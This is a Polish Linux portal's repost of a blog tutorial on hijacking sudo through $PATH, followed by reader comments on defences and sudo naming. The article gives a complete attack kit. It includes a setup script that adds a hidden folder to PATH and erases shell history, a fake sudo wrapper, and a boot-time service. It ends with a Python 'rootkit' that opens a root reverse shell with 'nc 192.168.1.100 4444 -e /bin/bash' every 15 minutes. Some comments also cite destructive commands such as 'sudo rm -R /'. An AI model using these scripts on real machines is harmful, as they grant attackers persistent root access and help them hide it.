Ubuntu.pl 🇺🇦️Jeśli używasz Linuksa, prawdopodobnie komenda sudo nie jest Ci obca. Dla niewtajemniczonych, sudo jest skrótem od „superuser do” (administrator robi), i jeśli jesteś w pliku /etc/sudoers możesz używać sudo z konta z ograniczeniami aby wpisywać komendy jako administrator.
Dla tego ataku użyję Ubuntu. Więc, dla przykładu: Chcę zainstalować GParted, edytor partycji dla GNOME, lecz moje konto nie ma odpowiednich uprawnień:
m0rebel@Ubuntu:~$ apt-get install gparted
E: Could not open lock file /var/lib/dpkg/lock - open (13 Permission denied)
E: Unable to lock the administration directory (/var/lib/dpkg/), are you root?
Oczywiście w ten sposób nic nie zrobię, ponieważ zwykły użytkownik nie jest uprawniony do instalacji nowych programów. Jedynie root może instalować programy. Więc, aby zainstalować gparted muszę użyć tej samej komendy, jednak poprzedzając ją sudo.
m0rebel@ubuntu:~$ sudo apt-get install gparted
[sudo] password for m0rebel:
Reading package lists… Done
Building dependency tree
Reading state information… Done
Suggested packages:
xfsprogs reiser4progs jfsutils ntfsprogs
The following NEW packages will be installed:
gparted
0 upgraded, 1 newly installed, 0 to remove and 235 not upgraded.
Need to get 351kB of archives.
After this operation, 2265kB of additional disk space will be used.
Get:1 http://us.archive.ubuntu.com intrepid/main gparted 0.3.8-1ubuntu2 [351kB]
Fetched 351kB in 2s (135kB/s)
Selecting previously deselected package gparted.
(Reading database … 100719 files and directories currently installed.)
Unpacking gparted (from …/gparted_0.3.8-1ubuntu2_i386.deb) …
Processing triggers for man-db …
Setting up gparted (0.3.8-1ubuntu2) …
Tym razem uruchomiłem apt-get jako root i program został zainstalowany. Przydatną rzeczą w sudo jest to, że kiedy je uruchomisz, ono zapamięta Cię na kilka minut i nie będzie kolejny raz wymagało wpisywania hasła jeśli zechcesz skorzystać z uprawnień roota ponownie. Wpisujesz je raz a komendy (z sudo) przez najbliższy czas będą automatycznie przyjmowane.
Sudo to nie magia; to program. Aby się dowiedzieć, gdzie jest on zainstalowany, możesz użyć komendy which.
m0rebel@ubuntu:~$ which sudo
/usr/bin/sudo
m0rebel@ubuntu:~$ ls -l /usr/bin/sudo
-rwsr-xr-x 1 root root 115136 2008-09-01 06:17 /usr/bin/sudo
Jak polecenie which znajduje sudo? Jest środowisko zmiennych nazwane $PATH, i jest to lista katalogów. Kiedy usiłujesz uruchomić program i nie podajesz bezpośredniej ścieżki, shell (najczęściej bash) sprawdza każdą pozycję w $PATH w poszukiwaniu uruchamialnego pliku posiadającego w nazwie Twoją komendę. Pliki w $PATH są poszukiwane zaczynając od pierwszego położenia, kończąc na ostatnim. To ważne.
m0rebel@ubuntu:~$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
Więc jeśli wpiszę “which sudo” shell pierw poszuka w /usr/local/sbin, następnie w /usr/local/bin, /usr/sbin, /usr/bin, tam znajdzie /usr/bin/sudo, i zakończy poszukiwania.
Co sprowadza nas do tego jak ten atak działa. Na początku zmienię $PATH aby dodać własną ścieżkę. To położenie będzie posiadało napisany przeze mnie złośliwy skrypt shella, zawierający w sobie polecenie sudo. Ponieważ to położenie będzie pierwsze w $PATH, kiedy użytkownik spróbuje uruchomić sudo, automatycznie uruchomi mój skrypt zamiast właściwego programu. Następnie skrypt wywoła prawdziwe sudo by po tym wykonać komendy, które w tym przypadku zainstalują rootkita napisanego przeze mnie. Tak wygląda działanie skryptu, na koniec posprząta on po sobie. Umieszczę to w miejscu, z którego będzie mogło być szybko pobrane, rozpakowane i uruchomione.
Wszystko można wykonać pozbywając się właściciela komputera na 10s, cała sprawa wygląda mniej więcej w ten sposób:
m0rebel@ubuntu:~$ wget http://www.banditdefense.com/veryevil.tar.gz
--2009-02-05 22:13:14-- http://www.banditdefense.com/veryevil.tar.gz
Resolving www.banditdefense.com... 67.205.29.205
Connecting to www.banditdefense.com|67.205.29.205|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 698 [application/x-tar]
Saving to: `veryevil.tar.gz’
100%[===========================================>] 698 –.-K/s in 0s
2009-02-05 22:13:14 (58.1 MB/s) - ‘veryevil.tar.gz’ saved [698/698]
m0rebel@ubuntu:~$ tar -xvf veryevil.tar.gz
.mozilla/
.mozilla/.pwn/
.mozilla/.bin/
.mozilla/.pwn/auto
.mozilla/.pwn/evil
.mozilla/.pwn/init
.mozilla/.bin/sudo
setup.sh
m0rebel@ubuntu:~$ ./setup.sh
Strona http://www.banditdefense.com/veryevil.tar.gz jest fikcyjna więc jeśli chcesz wykonać ten atak, będziesz musiał przechowywać pliki gdzie indziej. Pierwszą rzeczą, którą wykonałem jako nieuprzywilejowany użytkownik m0rebel, było pobranie veryevil.tar.gz. Następnie rozpakowałem plik i uruchomiłem setup.sh, które przygotowało atak i usunęło plik veryevil.tar.gz. Jeśli ktoś odszedł od komputera i nie zablokował ekranu, otwarcie terminalu, wpisanie odpowiednich komend i zamknięcie go zabierze jedynie parę sekund. Po tych czynnościach, kiedy następnym razem użytkownik otworzy terminal i uruchomi sudo, włączy tak naprawdę mój skrypt:
m0rebel@ubuntu:~$ which sudo
/home/m0rebel/.mozilla/.bin/sudo
Pokażę wam zawartość plików i pozwolę poznać wszystkie szczegóły.
Gdy wykonamy wszystkie czynności, następnie po tym jak użytkownik uruchomi sudo, rootkit zostanie zainstalowany, tymczasowe pliki zawarte w veryevil.tar.gz usunięte a $PATH przywrócony.
Tak wygląda ~/setup.sh. Robi kopię pliku .bashrc, dodaje ukryty folder do path, i ukrywa swoje działania.
#!/bin/bash
cp ~/.bashrc ~/.mozilla/.pwn/.bashrc
echo "export PATH=~/.mozilla/.bin:$PATH" >> ~/.bashrc
rm veryevil.tar.gz &
rm setup.sh &
rm ~/.bash_history
Tu jest ~/.mozilla/.bin/sudo. On uruchamia właściwe sudo (realsudo) z komendą, którą użytkownik chciał wykonać oraz następnie z ~/.mozilla/.pwn/init.
#!/bin/bash
REALSUDO=/usr/bin/sudo
$REALSUDO $@
$REALSUDO ~/.mozilla/.pwn/init &
Tu jest ~/.mozilla/.pwn/init. To pierwszy raz kiedy uruchamiamy nasz kod jako root. Dzięki niemu opanujemy komputer. Ten skrypt kopiuje plik evil do /sbin/at, plik auto do /etc/init.d/at i uruchamia update-rc.d. Plik /etc/init.d/at jest instalowany jako usługa, więc będzie uruchamiany z uprawnieniami roota przy każdym starcie systemu. Po tym ukrywa swoje działania i uruchamia /etc/init.d/at w tle jako root.
#!/bin/bash
cp ~/.mozilla/.pwn/evil /sbin/at > /dev/null 2>&1
cp ~/.mozilla/.pwn/auto /etc/init.d/at > /dev/null 2>&1
update-rc.d at defaults > /dev/null 2>&1
cp ~/.mozilla/.pwn/.bashrc ~/.bashrc > /dev/null 2>&1
rm -r ~/.mozilla/.pwn > /dev/null 2>&1
rm -r ~/.mozilla/.bin > /dev/null 2>&1
/etc/init.d/at &
Tu jest ~/.mozilla/.pwn/auto, który zostanie skopiowany do /etc/init.d/at. Plik ten jest ładowany z prawami roota przy każdym starcie systemu. Uruchamia on /sbin/at w tle.
#!/bin/bash
/sbin/at > /dev/null 2>&1 &
Tu jest ~/.mozilla/.pwn/evil, który zostanie skopiowany do /sbin/at. To jest rootkit. Jest on prostym skryptem napisanym w języku Python, który umożliwia dostęp do konta ofiary poprzez tzw. reverse shell, którego wysyła po minucie i w 15 minutowych odstępach czasu.
#!/usr/bin/python
import os
import time
def popshell():
os.system(”nc 192.168.1.100 4444 -e /bin/bash > /dev/null 2>&1 &”);
return
time.sleep(60)
popshell()
while(True):
time.sleep(900)
popshell()
Zakładając, że adres IP atakującego to 192.168.1.100 a jego port nasłuchiwania to 4444. Ofiara łączy się z atakującym dając mu możliwość wykonania dowolnego kodu jako root.
To jest oczywiście jedna implementacja tego co można zrobić tym atakiem. Po instalacji rootkita atakujący może zainstalować serwer SMTP i zacząć wysyłać spam lub zacząć skanować porty wewnątrz lokalnej sieci i sprawdzać wyniki czy zainstalować keyloggera.
Jak można się przed tym bronić? Możesz zawsze wpisywać „which sudo” przed używaniem sudo aby się upewnić czy uruchamiasz ten właściwy program, lecz prawdopodobnie o tym zapomnisz. Możesz zawsze wpisywać bezpośrednią ścieżkę /usr/bin/sudo, jednak o tym prawdopodobnie również zapomnisz. Ostatecznie możesz zmodyfikować sudo aby przed wykonaniem wyświetlało wyniki „which sudo” i jeśli w wyniku otrzymasz niepoprawną ścieżkę, nie wpisuj hasła. To jednak nie są wygodne rozwiązania.
Najlepszą rzeczą do zrobienia jest upewnianie się, że zawsze blokujesz ekran zanim opuszczasz komputer. Happy hacking.
Źródło: blog.banditdefense.com
Od redakcji:
Jeśli masz obawy, że ktoś wykorzysta zapamiętywanie hasła przez sudo. Możesz wyłączyć zapamiętywanie albo wydawać polecenie sudo -k po wszelkich czynnościach administracyjnych.
Jeżeli dobrze zrozumiałem, to opisanego tu ataku nie da się przeprowadzić bez przynajmniej jednorazowego bezpośredniego dostępu do atakowanego komputera? W takim razie jeżeli do mojego komputra nikt niepowołany nie ma dostępu, to tego typu atak mi nie grozi?
Zwłaszcza jeśli jesteś jedynym użytkownikiem komputera
A moim zdaniem sudo jest raczej od „Switch User and DO”, mimo, iż wikipedia twierdzi inaczej.
Utarło się mówić, że SU to od superusera, a przecież prawidłowe jest „switch user”, ew. „substitue user” co znaczy mniej więcej to samo.
@shai – to tylko skromne tłumaczenie 😉
SU to musi być Switch User gdyż za pomocą komendy su możesz nie tylko wejść na roota, ale zmienić użytkownika na innego : su nazwa
A czy zamiast blokowania ekranu można włączyć Wygaszacz hasło??…. efekt przyjemniejszy dla oka 😉
.bashrc jest dla mnie tak ważnym plikiem, że zawsze mam go na chmod 600 :). Czyli w tym momencie nici z ataku, nie? :>
600 to prawa rw dla właściciela… W czym problem coś dopisać? 🙂
ok, a jeśli dam 500 xD? trochę palec mi się poślizgną 😉 ale ogólnie to się zbłaźniłem 😛
Właściwie to wypadało by to zgłosić na bugtracka albo brainstorma i poprosić by .bashrc nadpisywał sudo do poprawnej ścieżki, a jego domyślne uprawnienia powinny być tylko readonly dla właściciela
Czyli taki bałagan jaki opisano w artykule można zrobić mając tylko dostęp do kompa, bez znajomości hasła na roota? Zaczynam się bać, bo tyle mówienia było o super bezpiecznym podziale użytkowników na roota i zwykłego. Aaa!
[quote comment=”36777″]Czyli taki bałagan jaki opisano w artykule można zrobić mając tylko dostęp do kompa, bez znajomości hasła na roota? Zaczynam się bać, bo tyle mówienia było o super bezpiecznym podziale użytkowników na roota i zwykłego. Aaa![/quote]
Najsłabszym elementem w systemie zabezpieczeń (dowolnego OS-a) jest, był i zapewne będzie człowiek.
Bez względu na uprawnienia, prawa zapisu, blokowanie ekranu i tym podobne przeszkody – jeśli napastnik ma fizyczny dostęp do komputera (i czas) nic go nie powstrzyma i tyle.
Podział jest bezpieczny, ale nie oznacza to, że można pozostawiać „niepilnowany” komputer, czy przyklejać karteczki z hasłem do monitora.
Można, oczywiście, zamykać klawiaturę na kłódkę, można szyfrować dyski, można robić jeszcze wiele innych rzeczy, ale to wszystko wyłącznie PODNOSI poziom bezpieczeństwa naszych danych i sprawia, że koszt „zdobycia” praw administratora (czy danych) jest zdecydowanie wyższy od korzyści jakie może osiągnąć agresor, a więc powoduje jego przejście do innych (wiadomo jakich :D), GORZEJ zabezpieczonych komputerów.
Ale tak czy siak za rzeczywiste zabezpieczenie odpowiada właściciel i tyle.
PS. ten artykuł opisuje ciekawy sposób na „przejęcie” komputera – czyli zdobycie uprawnień administratora. Wymaga on, jak sądzę, minuty, dwóch i koniec.
Jeśli więc ktokolwiek obawia się o swoje dane niech pomyśli co może zrobić z nimi polecenie
rm /home/USER/*(nie polecam próbować).Wpisanie tego w terminal to kwestia 2-3 sekund i ……. owoce często baaaaaaardzo długiej pracy lądują w niebycie.
Czy to znowu błąd systemu czy użytkownika, że nie zabezpieczył dostępu?
Wiadomo, najlepszym sposobem na zabezpieczenie komputera jest nieposiadanie go ;). Nie za bardzo się na tym znam, bo nie doszedłem jeszcze do takiej znajomości Linuksa, jak chociażby XP, ale wydawało mi się, że podział na roota i zwykłych użytkowników, jest po to, by te bardziej zaawansowane akcje mógł wykonać administrator. Czyli w skrócie, żeby zwykły użytkownik mógł rozwalić tylko swoje rzeczy. Więc albo źle myślę, albo tu jest inaczej.
A tak z ciekawości, to czy taki kod dałoby się napisać w postaci wirusa, który, nie wiem, wykorzystywałby jakąś lukę albo co, i bez dostępu do komputera ofiary z<robiłby taki bałagan? Czy już przed taką akcją Linux jest dobrze zabezpieczony?
I tu sprawdza się najlepsza rzecz na świecie to znaczy ograniczanie uprawnień. Sudo umożliwia ograniczenie możliwości wykonywania programów jako root do krótkiej listy. Np. jeśli webmaster potrzebuje praw roota do restartowania apacha, można mu przydzielić, używając visudo, prawo uruchamiania TYLKO apachectl, bo po co mu cała reszta. Jeszcze bezpieczniej było by utworzyć specjalnego użytkownika, która ma takie możliwości i uruchomić sudo nie jako root a jako dany użytkownik. Wystarczy naprawdę mieć troszkę wiedzy i system staje znaczenie bardziej bezpieczny. Jak wiele problemów w Linuksie można to rozwiązać zaglądając do dokumentacji i myśląc trzeźwo.
Dzisiaj natknąłem się przypadkiem na jakiś artykuł, gdzie radzono administratorom jak zapobiec zacieraniu przez użytkowników śladów w .bash_history. Pojawiło się w nim dodawanie „readonly ZMIENNA”, aby uniemożliwić jej zmianę. Może by tak PATH potraktować w .bashrc tym dodatkiem…
Tyle komentarzy a nikt nie napisal, ze tak na prawde to na co pozwala sudo okreslone jest w /etc/sudoers. Domyslnie po instalacji user ma prawo przez sudo do wszystkiego ! (ALL)=ALL czy jak to tam ten zapis jest. Tymczasem mozna w pliku /etc/sudoers dokladnie okreslic jakie komendy moze dany user poprzez sudo wykonac jako root i $REALSUDO ~/.mozilla/.pwn/init & po prostu wyrzuci blad a do logow pojdzie info o probie wywolania sudo z komenda do ktorej nie ma sie praw.
Warto poczytac o mozliwosciach sudo i /etc/sudoers bo (ALL)=ALL nie jest dobrym pomyslem.
Włos się zjeżył na głowie. Nie „SuperUser DO” tylko „SuperUser DOes”!
pierw…
Po co tak panikować. Aby dokonać takiego ataku trzeba mieć na parę minut dostęp do konta użytkownika z uprawnieniami do wykonywania poleceń przez sudo. Jeśli ktoś jest na tyle bezmyślny że mając takie uprawnienia zostawia komputer w niepowołanym miejscu z niezablokowany ekran , konsolą… i wychodzi to żadne zabezpieczenia mu nie pomogą.
A po co wy używacie w ogóle sudo?
Bo w niektorych systemach alias ubuntu sudo wykonuje sie od tak bez hasla
w innych systemach mamay sudo + haslo danego usera na ktorym odpalamy to sudo lub su i haslo roota, tylko w ubuntu to zabangoli niestety
[quote comment=”41011″]Bo w niektorych systemach alias ubuntu sudo wykonuje sie od tak bez hasla
w innych systemach mamay sudo + haslo danego usera na ktorym odpalamy to sudo lub su i haslo roota, tylko w ubuntu to zabangoli niestety[/quote]
Moje ubuntu prosi (od zawsze) haslo kiedy wykonuje komende sudo.
a ja i tak twierdzę, że najgorsze co można zrobić to:
sudo rm -R /
zwłaszcza na serwerze jako root..
pozdroo 😉